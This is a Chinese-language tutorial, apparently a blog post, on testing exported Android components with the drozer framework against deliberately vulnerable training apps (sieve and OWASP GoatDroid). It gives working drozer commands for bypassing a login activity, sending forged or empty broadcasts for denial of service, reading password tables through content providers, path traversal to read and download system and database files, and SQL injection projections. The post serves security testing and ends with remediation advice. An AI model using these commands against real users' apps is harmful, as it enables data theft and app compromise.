在drozer console中直接使用help查看;然后进一步使用help command可查看各命令更具体的使用方法。

通过输入安装包的部分关键字查找包全称 run app.package.list -f 安装包部分关键字

run app.package.list -f demo

使用app.package.info模块查看apk基本信息

run app.package.info -a com.example.demo

1.检测四大组件

四大组件

Activity(界面):通常展现为一个可视化的用户界面,是负责与用户交互的组件。常见的漏洞包括Activity劫持漏洞、越权漏洞等。

Service(服务):无用户界面,是运行于后台的服务,但是及其重要,经常在后台执行一些敏感的操作。常见的漏洞包括权限提升,拒绝服务攻击等。

Broadcase receiver(广播接收器):无用户界面,能够启动一个 activity 或 serice来响应它们收到的信息,或者用 NotificationManager 来通知用户。当应用广播接收器默认设置exported='true',导致应用可能接收到第三方恶意应用伪造的广播,利用这一漏洞,攻击者可以在用户手机通知栏上推送任意消息,通过配合其它漏洞盗取本地隐私文件和执行任意代码。

Content provider(内容提供者):为存储和获取数据提供统一的接口,可以在不同的应用程序之间共享数据。常见的漏洞包括读写权限漏洞、SQL注入漏洞、文件遍历漏洞等。

使用app.package.attacksurface模块识别攻击面

run app.package.attacksurface com.example.demo

所谓攻击面,应该就是指可export的安卓四大组件(activaty、broadcast receiver、content provider、service),如果查看到四大组件中有可export的,就去具体看可export的组件有没有问题。

(1)activity组件测试

查看activity组件信息

run app.activity.info -a com.example.demo

调用暴露的activity组件

run app.activity.start --component package_name Activity_name

一般activity组件只会暴露一个程序启动界面,在暴露其他的就属于组件暴露,有安全隐患。

run app.activity.start --component com.example.demo com.example.demo.MortgageActivity

Activity劫持

如果apk未对界面劫持进行反劫持检测,那么用户就会受到劫持欺骗攻击。如果一个恶意应用在用户启动银行app时,启动自身界面,模拟成银行的登录界面,那么在用户没有察觉的情况下,可以直接偷走用户输入的账号密码。

下面使用一个测试apk对目标应用进行界面覆盖,观察目标应用是否告警提示。

Activity越权

测试APP下载地址

https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk

这是一个管理密码的APP,运行时需要输入密码(com.mwr.example.sieve.MainLoginActivity),验证成功才能查看管理的密码内容(com.mwr.example.sieve.PWList)。

先查看对外暴露的 activity 组件信息

直接调用查看密码的Activity,成功绕过登录验证功能。

run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList

(2)broadcast组件测试

查看Broadcast组件信息

run app.broadcast.info  -a org.owasp.goatdroid.fourgoats

测试APP下载地址:

https://github.com/nvisium-jack-mannino/OWASP-GoatDroid-Project/downloads

反编译,查看源码,发现需要两个参数 phoneNumber、message

发送恶意广播

run app.broadcast.send --action 广播名 --extra string name lisi

反编译apk,查看AndroidManifest.xml 文件,获取广播名

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message dog

拒绝服务攻击

向广播组件发送不完整intent,使用空 extras,可以看到应用停止运行。

run app.broadcast.send --action <action>

run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS

(3)content provider组件测试

查看content provider组件信息

run app.provider.info -a com.mwr.example.sieve

可以看出, 对DBContentProvider 内容提供器的访问,除了/Keys 路径需要权限,其他都不需要权限;而对 FileBackupProvider 内容提供器的访问则不需要任何权限,那么我们就可以从中获取敏感数据。

(4)service组件测试

查看service组件信息

run app.service.info -a com.mwr.example.sieve

调用服务组件

run app.service.start --action 服务名 --component 包名 服务名

run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService

2.检测URI数据泄露风险

获取内容提供器的 URIS 资源访问路径

run scanner.provider.finduris -a <包名>

run scanner.provider.finduris -a com.mwr.example.sieve

敏感数据读取

run app.provider.query uri

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords

3.检测文件遍历漏洞

检测文件遍历漏洞

run scanner.provider.traversal -a <包名>

读取系统文件

run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts

下载系统文件

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db f:/home/database.db

4.检测是否存在本地sql注入

扫描注入位置

run scanner.provider.injection -a <包名>

手工注入

执行以下命令,发现返回了报错信息,接着构造sql获取敏感数据

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'"

run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection " * from Key;--+"

5.建议

当组件为私有组件时,建议设置android:exported的值为 false;当组件为公有组件时,建议对其进行权限控制。

《移动安全》(6)使用drozer检测四大组件(下)相关推荐

  1. 使用Drozer对Android四大组件进行测试

    使用Drozer对Android四大组件进行测试 一.介绍 Drozer是一款安卓的安全测试框架,可以用来对安卓应用进行渗透测试,工作方式为交互式,有点类似于MSF,可以选择模块和payload对风险 ...

  2. 一个帖子学会Android开发四大组件

    注:本文来自"友盟杯",仅在此阅读,学习 这个文章主要是讲Android开发的四大组件,本文主要分为 一.Activity详解 二.Service详解 三.Broadcast Re ...

  3. Android 安卓 四大组件

    Android开发的四大组件  Android四大组件分别为activity.service.content provider.broadcast receive  一.Activity    Act ...

  4. Android四大组件---Activity

    1:前言 上一遍讲解了四大组件的广播----BroadcastReceiver,今天,我来解释一下四大组件最常用的activity. 2:概述 Activity 作为与用户交互的一个窗口,是使用非常频 ...

  5. Android开发四大组件

    2019独角兽企业重金招聘Python工程师标准>>> 这个文章主要是讲Android开发的四大组件,本文主要分为 一.Activity详解 二.Service详解 三.Broadc ...

  6. Android开发的四大组件

    Android 开发的四大组件分别是:活动(activity),用于表现功能:服务(service),后台运行服务,不提供界面呈现:广播接受者(Broadcast Receive),勇于接收广播:内容 ...

  7. 下面不是android四大组件之一的是,Android四大组件之一 Service

    Service是长期在后台运行的没界面的Android四大组件之一,默认是运行在主线程中的,如果在service中执行耗时操作超过20秒没响应的话就会造成ANR,所以可以使用IntentService ...

  8. Android四大组件之Activity(第一篇-简单使用)

    Android四大组件之Activity(第一篇-简单使用) 前言 一.Activity是什么? 二.如何使用 1.继承 2.重写onCreate() 总结 文章目录 前言 一.Activity是什么 ...

  9. Android 四大组件通信核心

    前言 系列文章: Android Activity创建到View的显示过程 Android 四大组件通信核心 Android 系统启动到App 界面完全展示终于明白(图文版) 我们知道Android ...

最新文章

  1. 【微信小程序企业级开发教程】界面刷新获取新更新数据
  2. 名词解释说明用英语怎么说_“用英语怎么说”译成How to say in English,典型的中式英语!...
  3. mysql数据库的常用操作-索引
  4. 英语学习APP的案例分析
  5. extjs获取焦点和失去焦点_ios输入框(input,select,textarea)失去焦点,页面不归位...
  6. 《图说VR入门》——DeepoonVR的大鹏(陀螺仪)枪
  7. 使用gridlayout布局后,因某些原因又删除,并整理目录结构时,Unable to resolve target 'android-7'
  8. 理解工作流系统参考模型
  9. mysql周报内容范文_Mysql各种表格查询含实例,日报,周报,月报,时间差自动计算...
  10. k-means 聚类过程演示
  11. HDU 4432 Sum of divisors 2012 Asia Tianjin Regional Contest
  12. Oauth支持的5类 grant_type 及说明 authorization_code — 授权码模式(即先登录获取code,再获取token) password — 密码模式(将用户名,密码传
  13. IR2130与MOSFET驱动电路分析
  14. Mysql学习——建表语句详解
  15. 华为USG防火墙配置命令
  16. 团队作业 - 项目验收与总结博客
  17. SCI写作经典替换词、核心词汇大集合
  18. IPad amp; iPhone storage - delete my iPad manuscript data
  19. 15-python推导式
  20. 华为S系列交换机如何取消端口类型的设置

热门文章

  1. 四种企业传输大文件的方法
  2. 线性代数笔记分享(二)向量线性相关性
  3. linux 网卡 mac 配置文件,Linux下更改网卡的MAC物理地址
  4. vue-pdf实现预览pdf文件以及含有电子印章的pdf文件
  5. c# hdf5 写string_C#读取风云卫星(HDF5格式)遥感数据的部分代码
  6. JVM之类加载机制(基于《深入理解Java虚拟机》之第七章类加载机制)(上)
  7. android 检测软件键盘弹起落下
  8. 编程人生:我与编程结缘
  9. python实现简单的模拟发送短信验证码
  10. FAPI专题-7:5G FAPI接口 - 中文规范-3- P5消息格式